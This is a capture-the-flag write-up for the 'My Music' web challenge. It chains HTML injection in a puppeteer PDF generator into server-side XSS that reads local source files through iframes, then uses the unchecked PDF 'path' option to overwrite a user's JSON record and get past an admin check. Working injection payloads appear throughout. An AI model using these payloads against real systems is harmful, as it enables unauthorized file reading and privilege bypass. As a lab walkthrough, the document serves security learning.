Tags: pdf xss lfi puppeteer
Rating:
[![VIDEO](https://img.youtube.com/vi/JetPydd3ud4/0.jpg)](https://www.youtube.com/watch?v=JetPydd3ud4 "My Music: Leveraging Server Side XSS (PDF) for Auth Bypass")
### Description
>Checkout my new platform for sharing the tunes of your life! ?
# Solution
## Enumeration
Register an account, notice we are given a login hash to save, e.g. `25d6a4cec174932f1effd56e2273be5198c3be06ddf03ab380a7ffc4cf3ef4e8`.
We can `generate profile card` which creates a PDF but [by default] the request/response doesn't show in burp, let's make some adjustments:
- Set burp scope to `https://mymusic.ctf.intigriti.io` and tick the `only show in-scope items` option in HTTP history tab (reduces noise, especially from spotify requests).
- Tick `images` and `other binary` in the the `filter by MIME type` section of the HTTP history options (ensuring our PDF generation is shown).
We can update three sections of our profile; `First name`, `Last name` and `Spotify track code`. For each element we add some HTML tags, e.g. `crypto` and try to generate a new profile card. All three elements are reflected in the PDF document, but only the `Spotify track code` is in bold.
Now we have found HTML injection, we can try and [server-side XSS](https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf) to identify the file structure.
```js
<script>document.body.append(location.href)</script>
```
Returns `file:///app/tmp/3c433348-60e3-4a48-b989-2a168954147f.html`
Since we confirmed the file location as `/app`, we can enumerate common files, either manually or by brute-forcing a [wordlist](https://github.com/danielmiessler/SecLists).
### app/app.js
```js
<iframe src="/app/app.js" style="width: 999px; height: 999px"></iframe>
```
We'll quickly recover the source code for `app.js`.
```js
const express = require("express");
const { engine } = require("express-handlebars");
const cookieParser = require("cookie-parser");
const { auth } = require("./middleware/auth");
const app = express();
app.engine("handlebars", engine());
app.set("view engine", "handlebars");
app.set("views", "./views");
app.use(express.json());
app.use(cookieParser());
app.use(auth);
app.use("/static", express.static("static"));
app.use("/", require("./routes/index"));
app.use("/api", require("./routes/api"));
app.listen(3000, () => {
console.log("Listening on port 3000...");
});
```
This introduces some new paths to investigate (`/routes/index` and `/routes/api`) so we repeat the previous technique.
### app/routes/index.js
```js
<iframe src="/app/routes/index.js" style="width: 999px; height: 999px"></iframe>
```
`index.js` confirms our target is the `/admin` endpoint. Currently, when we try to access the page we get `Only admins can view this page`.
```js
const express = require("express");
const { requireAuth } = require("../middleware/auth");
const { isAdmin } = require("../middleware/check_admin");
const { getRandomRecommendation } = require("../utils/recommendedSongs");
const { generatePDF } = require("../utils/generateProfileCard");
const router = express.Router();
router.get("/", (req, res) => {
const spotifyTrackCode = getRandomRecommendation();
res.render("home", { userData: req.userData, spotifyTrackCode });
});
router.get("/register", (req, res) => {
res.render("register", { userData: req.userData });
});
router.get("/login", (req, res) => {
if (req.loginHash) {
res.redirect("/profile");
}
res.render("login", { userData: req.userData });
});
router.get("/logout", (req, res) => {
res.clearCookie("login_hash");
res.redirect("/");
});
router.get("/profile", requireAuth, (req, res) => {
res.render("profile", { userData: req.userData, loginHash: req.loginHash });
});
router.post("/profile/generate-profile-card", requireAuth, async (req, res) => {
const pdf = await generatePDF(req.userData, req.body.userOptions);
res.contentType("application/pdf");
res.send(pdf);
});
router.get("/admin", isAdmin, (req, res) => {
res.render("admin", { flag: process.env.FLAG || "CTF{DUMMY}" });
});
module.exports = router;
```
It also revealed some new paths (`/middleware/auth`, `/middleware/check_admin`, `/utils/recommendedSongs` and `/utils/generateProfileCard`), which we'll return to shortly.
### app/routes/api.js
```js
<iframe src="/app/routes/api.js" style="width: 999px; height: 999px"></iframe>
```
`api.js` deals with the register/login/update functionality, nothing particularly interesting.
```js
const express = require("express");
const { body, cookie } = require("express-validator");
const {
addUser,
getUserData,
updateUserData,
authenticateAsUser,
} = require("../controllers/user");
const router = express.Router();
router.post(
"/register",
body("username").not().isEmpty().withMessage("Username cannot be empty"),
body("firstName").not().isEmpty().withMessage("First name cannot be empty"),
body("lastName").not().isEmpty().withMessage("Last name cannot be empty"),
addUser
);
router.post(
"/login",
body("loginHash").not().isEmpty().withMessage("Login hash cannot be empty"),
authenticateAsUser
);
router
.get("/user", getUserData)
.put(
"/user",
body("firstName")
.not()
.isEmpty()
.withMessage("First name cannot be empty"),
body("lastName")
.not()
.isEmpty()
.withMessage("Last name cannot be empty"),
body("spotifyTrackCode")
.not()
.isEmpty()
.withMessage("Spotify track code cannot be empty"),
cookie("login_hash").not().isEmpty().withMessage("Login hash required"),
updateUserData
);
module.exports = router;
```
However, it does give us a new file to check out (`/controllers/user`).
### app/controllers/user.js
```js
<iframe src="/app/controllers/user.js" style="width: 999px; height: 999px"></iframe>
```
This file is responsible for adding, updating and *verifying* users.
```js
const {
createUser,
getUser,
setUserData,
userExists,
} = require("../services/user");
const { validationResult } = require("express-validator");
const addUser = (req, res, next) => {
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).send(errors.array());
}
const { username, firstName, lastName } = req.body;
const userData = {
username,
firstName,
lastName,
};
try {
const loginHash = createUser(userData);
res.status(204);
res.cookie("login_hash", loginHash, { secure: false, httpOnly: true });
res.send();
} catch (e) {
console.log(e);
res.status(500);
res.send("Error creating user!");
}
};
const getUserData = (req, res, next) => {
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).send(errors.array());
}
const { loginHash } = req.body;
try {
const userData = getUser(loginHash);
res.send(JSON.parse(userData));
} catch (e) {
console.log(e);
res.status(500);
res.send("Error fetching user!");
}
};
const updateUserData = (req, res, next) => {
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).send(errors.array());
}
const { firstName, lastName, spotifyTrackCode } = req.body;
const userData = {
username: req.userData.username,
firstName,
lastName,
spotifyTrackCode,
};
try {
setUserData(req.loginHash, userData);
res.send();
} catch (e) {
console.log(e);
}
};
```
We find a `/services/user` endpoint, which might be interesting since the `getUser(loginHash)` function is imported from there.
### app/controllers/user.js
```js
<iframe src="/app/services/user.js" style="width: 999px; height: 999px"></iframe>
```
Now we learn more about how users are stored!
```js
const fs = require("fs");
const path = require("path");
const { createHash } = require("crypto");
const { v4: uuidv4 } = require("uuid");
const dataDir = "./data";
const createUser = (userData) => {
const loginHash = createHash("sha256").update(uuidv4()).digest("hex");
fs.writeFileSync(
path.join(dataDir, `${loginHash}.json`),
JSON.stringify(userData)
);
return loginHash;
};
const setUserData = (loginHash, userData) => {
if (!userExists(loginHash)) {
throw "Invalid login hash";
}
fs.writeFileSync(
path.join(dataDir, `${path.basename(loginHash)}.json`),
JSON.stringify(userData)
);
return userData;
};
const getUser = (loginHash) => {
let userData = fs.readFileSync(
path.join(dataDir, `${path.basename(loginHash)}.json`),
{
encoding: "utf8",
}
);
return userData;
};
const userExists = (loginHash) => {
return fs.existsSync(
path.join(dataDir, `${path.basename(loginHash)}.json`)
);
};
module.exports = { createUser, getUser, setUserData, userExists };
```
First of all we see the `./data` folder, useful knowledge as we already have a method of reading (maybe writing) files.
Secondly, we discover how user files are formatted.
```js
const loginHash = createHash("sha256").update(uuidv4()).digest("hex");
fs.writeFileSync(
path.join(dataDir, `${loginHash}.json`),
JSON.stringify(userData)
);
```
Since our login hash is displayed on the page, we know exactly where our user object is located.
```bash
/app/data/25d6a4cec174932f1effd56e2273be5198c3be06ddf03ab380a7ffc4cf3ef4e8.json
```
### app/middleware/check_admin.js
Returning back to the four new endpoints we found in `app/routes/index.js`. The most interesting is likely to be `check_admin.js`. Why is this most interesting to us? Because we want to be admin, of course!
```js
<iframe src="/app/middleware/check_admin.js" style="width: 999px; height: 999px"></iframe>
```
```js
const { getUser, userExists } = require("../services/user");
const isAdmin = (req, res, next) => {
let loginHash = req.cookies["login_hash"];
let userData;
if (loginHash && userExists(loginHash)) {
userData = getUser(loginHash);
} else {
return res.redirect("/login");
}
try {
userData = JSON.parse(userData);
if (userData.isAdmin !== true) {
res.status(403);
res.send("Only admins can view this page");
return;
}
} catch (e) {
console.log(e);
}
next();
};
module.exports = { isAdmin };
```
OK, so the `userData` JSON object will be parsed, and if the `isAdmin` property isn't `true`, we won't be granted access.
At this point we might think about how we could inject `isAdmin: true` into our user object ?
Another question we may consider; what happens if the JSON object cannot be parsed? ?
Let's revisit the code from `/app/routes/index.js`. Specifically, the `generate-profile-card` POST request.
```js
router.post("/profile/generate-profile-card", requireAuth, async (req, res) => {
const pdf = await generatePDF(req.userData, req.body.userOptions);
res.contentType("application/pdf");
res.send(pdf);
});
```
We already knew that our `userData` would be inserted to the PDF (that's how we were able to inject code), but what's this `userOptions` parameter? Let's go find out!
### app/utils/generateProfileCard.js
```js
<iframe src="/app/utils/generateProfileCard.js" style="width: 999px; height: 999px"></iframe>
```
We found this endpoint earlier when checking `/app/routes/index.js`.
```js
const puppeteer = require("puppeteer");
const fs = require("fs");
const path = require("path");
const { v4: uuidv4 } = require("uuid");
const Handlebars = require("handlebars");
const generatePDF = async (userData, userOptions) => {
let templateData = fs.readFileSync(
path.join(__dirname, "../views/print_profile.handlebars"),
{
encoding: "utf8",
}
);
const template = Handlebars.compile(templateData);
const html = template({ userData: userData });
const filePath = path.join(__dirname, `../tmp/${uuidv4()}.html`);
fs.writeFileSync(filePath, html);
const browser = await puppeteer.launch({
executablePath: "/usr/bin/google-chrome",
args: ["--no-sandbox"],
});
const page = await browser.newPage();
await page.goto(`file://${filePath}`, { waitUntil: "networkidle0" });
await page.emulateMediaType("screen");
let options = {
format: "A5",
};
if (userOptions) {
options = { ...options, ...userOptions };
}
const pdf = await page.pdf(options);
await browser.close();
fs.unlinkSync(filePath);
return pdf;
};
module.exports = { generatePDF };
```
This part is notable; our `userOptions` are passed as options to the `pdf` function in puppeteer.
```js
if (userOptions) {
options = { ...options, ...userOptions };
}
const pdf = await page.pdf(options);
```
Time to [RTFM](https://pptr.dev/api/puppeteer.pdfoptions) ?♂️
| Property | Modifiers | Type | Description | Default |
| -------- | -------- | -------- | -------- | -------- |
| path | `optional` | string | The path to save the file to | `undefined`, which means the PDF will not be written to disk |
## Exploitation
OK, enough with the recon. exploit time!
- When we try to access the `/admin` endpoint, it will parse our `userData` JSON object and return a 403 error if it does not contain `isAdmin: true`.
- However, if the JSON object cannot be parsed (as hinted earlier), then the code following the if statement (that returns a 403 response) will not be reached.
- Does this mean we won't be rejected from viewing the admin page? Let's find out!
### Attack Plan
1) We know we can control the `userOptions` which is passed to the puppeteer `pdf` function.
2) We identified the `path` property that allows us to control the location where the generated PDF will be stored.
3) We found that user objects are stored in `/app/data/<login_hash>.json`
Putting all this together, we create a payload that will overwrite our user object with a generated PDF.
```json
{
"userOptions": {
"path": "/app/data/25d6a4cec174932f1effd56e2273be5198c3be06ddf03ab380a7ffc4cf3ef4e8.json"
}
}
```
We send this payload in the POST request used to generate a PDF (make sure to set content-type to `application/json`). When we login with the hash and return to `/admin`, we get the flag.
```txt
INTIGRITI{0verr1d1ng_4nd_n0_r3turn_w4s_n3ed3d_for_th15_fl4g_to_b3_e4rn3d}
```
Note: I used this technique to overwrite our existing user object with a PDF (invalid JSON), but you could pick a filename of your choice, e.g.
```json
{
"userOptions": {
"path": "/app/data/cat.json"
}
}
```
Then just login with the hash `cat` and visit the admin page to receive the flag ?